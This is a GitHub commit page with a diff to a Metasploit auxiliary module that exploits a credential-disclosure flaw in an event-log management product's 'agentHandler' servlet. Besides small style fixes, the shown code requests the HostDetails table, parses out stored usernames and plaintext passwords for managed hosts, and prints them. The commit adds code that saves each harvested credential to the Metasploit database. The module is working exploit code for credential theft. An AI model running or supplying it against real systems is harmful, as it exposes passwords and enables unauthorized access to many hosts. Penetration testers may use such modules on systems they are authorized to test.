Skip to content

Commit 8a0249c

Browse files
author
Pedro Ribeiro
committed
Address Juan's points
1 parent e71ba1a commit 8a0249c

File tree

1 file changed

+50
-8
lines changed

1 file changed

+50
-8
lines changed

modules/auxiliary/gather/eventlog_cred_disclosure.rb

Lines changed: 50 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -62,13 +62,13 @@ def run
6262
res = send_request_cgi({
6363
'uri' => normalize_uri(target_uri.path, "agentHandler"),
6464
'method' =>'GET',
65-
'vars_get' => {
66-
'mode' => 'getTableData',
67-
'table' => 'HostDetails'
68-
}
65+
'vars_get' => {
66+
'mode' => 'getTableData',
67+
'table' => 'HostDetails'
68+
}
6969
})
7070

71-
if res and res.code == 200
71+
if res && res.code == 200
7272
# When passwords have digits the XML parsing will fail.
7373
# Replace with an empty password attribute so that we know the device has a password
7474
# and therefore we want to add it to our host list.
@@ -78,7 +78,7 @@ def run
7878
rescue
7979
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{xml}")
8080
end
81-
slid_host_ary = Array.new
81+
slid_host_ary = []
8282
doc.elements.each('Details/HostDetails') do |ele|
8383
if ele.attributes["password"] != nil
8484
# If an element doesn't have a password, then we don't care about it.
@@ -111,7 +111,7 @@ def run
111111
}
112112
})
113113

114-
if res and res.code == 200
114+
if res && res.code == 200
115115
begin
116116
doc = REXML::Document.new(res.body)
117117
rescue
@@ -135,14 +135,33 @@ def run
135135
# With AS/400 we get some garbage in the domain name even though it doesn't exist
136136
domain_name = ""
137137
end
138-
cred_table << [host_ipaddress, type, subtype, domain_name, username, password]
139138

140139
msg = "Got login to #{host_ipaddress} | running "
141140
msg << type << (subtype != "" ? " | #{subtype}" : "")
142141
msg << " | username: "
143142
msg << (domain_name != "" ? "#{domain_name}\\#{username}" : username)
144143
msg << " | password: #{password}"
145144
print_good(msg)
145+
146+
cred_table << [host_ipaddress, type, subtype, domain_name, username, password]
147+
148+
credential_core = report_credential_core({
149+
password: password,
150+
username: username,
151+
})
152+
153+
begin
154+
host_login_data = {
155+
address: host_ipaddress,
156+
service_name: type,
157+
workspace_id: myworkspace_id,
158+
protocol: 'tcp',
159+
port: 0, # can be any port, so just set to 0 else the cred api screams
160+
core: credential_core,
161+
status: Metasploit::Model::Login::Status::UNTRIED
162+
}
163+
create_credential_login(host_login_data)
164+
end
146165
end
147166
end
148167
else
@@ -168,4 +187,27 @@ def run
168187
print_error("#{peer} - Failed to reach agentHandler servlet")
169188
end
170189
end
190+
191+
192+
def report_credential_core(cred_opts={})
193+
# Set up the has for our Origin service
194+
origin_service_data = {
195+
address: rhost,
196+
port: rport,
197+
service_name: (ssl ? 'https' : 'http'),
198+
protocol: 'tcp',
199+
workspace_id: myworkspace_id
200+
}
201+
202+
credential_data = {
203+
origin_type: :service,
204+
module_fullname: self.fullname,
205+
private_type: :password,
206+
private_data: cred_opts[:password],
207+
username: cred_opts[:username]
208+
}
209+
210+
credential_data.merge!(origin_service_data)
211+
create_credential(credential_data)
212+
end
171213
end

0 commit comments

Comments
 (0)